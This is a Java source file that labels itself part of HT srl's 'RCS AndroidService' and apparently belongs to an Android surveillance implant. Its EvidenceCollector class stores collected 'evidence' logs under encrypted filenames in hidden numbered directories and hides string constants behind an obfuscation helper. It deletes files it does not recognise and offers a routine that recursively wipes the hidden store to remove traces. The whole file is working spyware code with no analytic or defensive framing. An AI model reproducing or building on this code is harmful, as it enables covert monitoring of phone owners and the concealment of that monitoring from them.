/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : EvidenceCollector.java * Created : Apr 9, 2011 * Author : zeno * *******************************************/ package com.android.dvci.evidence; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.util.ArrayList; import java.util.Date; import java.util.TreeMap; import java.util.Vector; import android.content.Context; import com.android.dvci.Status; import com.android.dvci.auto.Cfg; import com.android.dvci.crypto.Encryption; import com.android.dvci.crypto.Keys; import com.android.dvci.file.AutoFile; import com.android.dvci.file.Path; import com.android.dvci.util.ByteArray; import com.android.dvci.util.Check; import com.android.mm.M; // TODO: Auto-generated Javadoc /** * The Class EvidenceCollector. */ public class EvidenceCollector { /** The debug. */ private static final String TAG = "EvidenceColl"; //$NON-NLS-1$ /** The Constant LOG_EXTENSION. */ public static final String LOG_EXTENSION = M.e(".mob"); //$NON-NLS-1$ /** The Constant LOG_DIR_PREFIX. */ public static final String LOG_DIR_PREFIX = M.e("Z"); // Utilizzato per creare le //$NON-NLS-1$ // Log Dir /** The Constant LOG_DIR_FORMAT. */ public static final String LOG_DIR_FORMAT = M.e("Z*"); // Utilizzato nella //$NON-NLS-1$ // ricerca delle Log Dir /** The Constant LOG_PER_DIRECTORY. */ public static final int LOG_PER_DIRECTORY = 500; // Numero massimo di log // per ogni directory /** The Constant MAX_LOG_NUM. */ public static final int MAX_LOG_NUM = 25000; // Numero massimo di log che /** The Constant PROG_FILENAME. */ private static final String PROG_FILENAME = M.e("geb"); //$NON-NLS-1$ public static final String LOG_TMP = M.e(".dat"); //$NON-NLS-1$ /** The seed. */ int seed; /** The singleton. */ private volatile static EvidenceCollector singleton; private static Object evidenceCollectorLock = new Object(); private String prefix = M.e("l_"); /** * Self. * * @return the evidence collector */ public static EvidenceCollector self() { if (singleton == null) { synchronized (evidenceCollectorLock) { if (singleton == null) { singleton = new EvidenceCollector(); } } } return singleton; } /** * Decrypt name. * * @param logMask * the log mask * @return the string */ public static String decryptName(final String logMask) { return Encryption.decryptName(logMask, Keys.self().getChallengeKey()[0]); } /** * Encrypt name. * * @param logMask * the log mask * @return the string */ public static String encryptName(final String logMask) { final byte[] key = Keys.self().getChallengeKey(); return Encryption.encryptName(logMask, key[0]); } // public boolean storeToMMC; /** The log vector. */ Vector<String> logVector; /** The log progressive. */ private int logProgressive; // Keys keys; /** * Instantiates a new log collector. */ private EvidenceCollector() { super(); logVector = new Vector<String>(); logProgressive = deserializeProgressive(); flushEvidences(); // keys = Encryption.getKeys(); // seed = keys.getChallengeKey()[0]; } /** * Removes the progressive. */ public synchronized void removeProgressive() { if (Cfg.DEBUG) { Check.log(TAG + " Info: Removing Progressive");//$NON-NLS-1$ } final Context content = Status.getAppContext(); try { content.deleteFile(PROG_FILENAME); } catch (Exception ex) { if (Cfg.EXCEPTION) { Check.log(ex); } } } /** * Deserialize progressive. * * @return the int */ private synchronized int deserializeProgressive() { final Context content = Status.getAppContext(); int progessive = 0; try { //TODO: togliere, usare la data di sistema final FileInputStream fos = content.openFileInput(PROG_FILENAME); final byte[] prog = new byte[4]; fos.read(prog); progessive = ByteArray.byteArrayToInt(prog, 0); fos.close(); } catch (final IOException e) { if (Cfg.DEBUG) { Check.log(TAG + " Warn: " + e.toString());//$NON-NLS-1$ } } return progessive; } /** * Gets the new progressive. * * @return the new progressive */ protected synchronized int getNewProgressive() { logProgressive++; final Context content = Status.getAppContext(); try { final FileOutputStream fos = content.openFileOutput(PROG_FILENAME, Context.MODE_PRIVATE); fos.write(ByteArray.intToByteArray(logProgressive)); fos.close(); } catch (final IOException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " Error: " + e.toString());//$NON-NLS-1$ } } return logProgressive; } /** * Make date name. * * @param date * the date * @return the string */ private static String makeDateName(final Date date) { final long millis = date.getTime(); final long mask = (long) 1E4; final int lodate = (int) (millis % mask); final int hidate = (int) (millis / mask); final String newname = Integer.toHexString(lodate) + Integer.toHexString(hidate); return newname; } /** * Make new name. * * @param log * the log * @param logType * the log type * @return the vector */ public synchronized Name makeNewName(final Evidence log, final String logType) { final Date timestamp = log.timestamp; final int progressive = getNewProgressive(); if (Cfg.DEBUG) { Check.asserts(progressive >= 0, "makeNewName fail progressive >=0"); //$NON-NLS-1$ } final String basePath = Path.logs(); final String blockDir = prefix + (progressive / LOG_PER_DIRECTORY); //$NON-NLS-1$ // http://www.rgagnon.com/javadetails/java-0021.html final String mask = M.e("0000"); //$NON-NLS-1$ final String ds = Long.toString(progressive % 10000); // double to // string final int size = mask.length() - ds.length(); if (Cfg.DEBUG) { Check.asserts(size >= 0, "makeNewName: failed size>0"); //$NON-NLS-1$ } final String paddedProgressive = mask.substring(0, size) + ds; final String fileName = paddedProgressive + "" + logType + "" + makeDateName(timestamp); //$NON-NLS-1$ //$NON-NLS-2$ final String encName = encryptName(fileName + LOG_EXTENSION); if (Cfg.DEBUG) { Check.asserts(!encName.endsWith("mob"), "makeNewName: " + encName + " ch: " + seed + " not scrambled: " //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ + fileName + LOG_EXTENSION); } final Name name = new Name(); name.progressive = progressive; name.basePath = basePath; name.blockDir = blockDir; name.encName = encName; name.fileName = fileName; return name; } /** * Removes the. * * @param logName * the log name */ public void remove(final String logName) { // if(AutoConfig.DEBUG) Check.log( TAG + " Removing file: " + logName) ;//$NON-NLS-1$ final AutoFile file = new AutoFile(logName); file.delete(); } /** * Rimuove i file uploadati e le directory dei log dal sistema e dalla MMC. * @return the int */ public synchronized int removeHidden() { if (Cfg.DEBUG) { Check.log(TAG + " (removeHidden)");//$NON-NLS-1$ } final int removed = removeRecursive(new File(Path.hidden()), Integer.MAX_VALUE); return removed; } /** * Removes the log recursive. * * @param basePath * the base path * @param numFiles * the num files * @return the int */ private int removeRecursive(final File basePath, final int numFiles) { int numLogsDeleted = 0; // File fc; try { // fc = new File(basePath); if (basePath.isDirectory()) { if (Cfg.DEBUG) { Check.log(TAG + " (removeRecursive): " + basePath.getName());//$NON-NLS-1$ } final File[] fileLogs = basePath.listFiles(); for (final File file : fileLogs) { final int removed = removeRecursive(file, numFiles - numLogsDeleted); numLogsDeleted += removed; } } if (!basePath.delete()) { if (Cfg.DEBUG) { Check.log(TAG + " (removeRecursive) Error: " + basePath.getAbsolutePath());//$NON-NLS-1$ } } else { numLogsDeleted += 1; } } catch (final Exception e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " Error: removeLog: " + basePath + " ex: " + e);//$NON-NLS-1$ //$NON-NLS-2$ } } if (Cfg.DEBUG) { Check.log(TAG + " removeLogRecursive removed: " + numLogsDeleted);//$NON-NLS-1$ } return numLogsDeleted; } /** * Restituisce la lista ordinata dele dir secondo il nome. * * @param currentPath * the current path * @return the vector */ public static Vector<String> scanForDirLogs(final String currentPath) { if (Cfg.DEBUG) { Check.requires(currentPath != null, "null argument"); //$NON-NLS-1$ } File fc; final Vector<String> vector = new Vector<String>(); try { fc = new File(currentPath); if (fc.isDirectory()) { final String[] fileLogs = fc.list(); for (final String dir : fileLogs) { final File fdir = new File(currentPath + dir); if (fdir.isDirectory()) { vector.addElement(dir + "/"); //$NON-NLS-1$ if (Cfg.DEBUG) { Check.log(TAG + " scanForDirLogs adding: " + dir);//$NON-NLS-1$ } } } } } catch (final Exception e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " Error: scanForDirLogs: " + e);//$NON-NLS-1$ } } if (Cfg.DEBUG) { Check.log(TAG + " scanForDirLogs #: " + vector.size());//$NON-NLS-1$ } return vector; } /** * Estrae la lista di log nella forma *.MOB dentro la directory specificata * da currentPath, nella forma 1_n Restituisce la lista ordinata secondo il * nome demangled * * @param currentPath * the current path * @param dir * the dir * @return the vector */ public static String[] scanForEvidences(final String currentPath, final String dir) { if (Cfg.DEBUG) { Check.requires(currentPath != null, "null argument"); //$NON-NLS-1$ } if (Cfg.DEBUG) { Check.requires(!currentPath.startsWith("file://"), "currentPath shouldn't start with file:// : " //$NON-NLS-1$ //$NON-NLS-2$ + currentPath); } final TreeMap<String, String> map = new TreeMap<String, String>(); File fcDir = null; // FileConnection fcFile = null; try { fcDir = new File(currentPath + dir); final String[] fileLogs = fcDir.list(); for (final String file : fileLogs) { // fcFile = (FileConnection) Connector.open(fcDir.getURL() + // file); // e' un file, vediamo se e' un file nostro final String logMask = EvidenceCollector.LOG_EXTENSION; final String encLogMask = encryptName(logMask); if (file.endsWith(encLogMask)) { // String encName = fcFile.getName(); final String plainName = decryptName(file); map.put(plainName, file); } else if (file.endsWith(EvidenceCollector.LOG_TMP) && notVeryOld(fcDir, file)) { if (Cfg.DEBUG) { Check.log(TAG + " ignoring temp file: " + decryptName(file));//$NON-NLS-1$ } } else { if (Cfg.DEBUG) { Check.log(TAG + " Info: wrong name, deleting: " + fcDir + "/" + decryptName(file));//$NON-NLS-1$ //$NON-NLS-2$ } final File toDelete = new File(fcDir, file); toDelete.delete(); } } } catch (final Exception e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " Error: scanForLogs: " + e);//$NON-NLS-1$ } } finally { } if (Cfg.DEBUG) { Check.log(TAG + " scanForLogs numDirs: " + map.size());//$NON-NLS-1$ } final ArrayList<String> val = new ArrayList<String>(map.values()); // Collections.reverse(val); return val.toArray(new String[] {}); } private static boolean notVeryOld(File fcDir, String file) { final File toVerify = new File(fcDir, file); Date now = new Date(); long oldFile = 1000 * 3600 * 24; long elapsed = now.getTime() - toVerify.lastModified(); boolean young = elapsed < oldFile; return young; } /** * I file tmp vengono rinominati in mob */ public static void flushEvidences() { String basePath = Path.logs(); final Vector<String> dirs = scanForDirLogs(basePath); final int dsize = dirs.size(); if (Cfg.DEBUG) { Check.log(TAG + " sendEvidences #directories: " + dsize); //$NON-NLS-1$ } for (int i = 0; i < dsize; ++i) { final String dir = (String) dirs.elementAt(i); // per reverse: // dsize-i-1 File fcDir = null; try { fcDir = new File(basePath + dir); final String[] fileLogs = fcDir.list(); for (final String file : fileLogs) { // fcFile = (FileConnection) Connector.open(fcDir.getURL() + // file); // e' un file, vediamo se e' un file nostro if (file.endsWith(EvidenceCollector.LOG_TMP)) { if (Cfg.DEBUG) { Check.log(TAG + " WARNING (flushEvidences): " + decryptName(file)); } AutoFile tmp = new AutoFile(fcDir.getPath(), file); tmp.dropExtension(EvidenceCollector.LOG_TMP); } } } catch (final Exception e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " Error: scanForLogs: " + e);//$NON-NLS-1$ } } finally { } } } }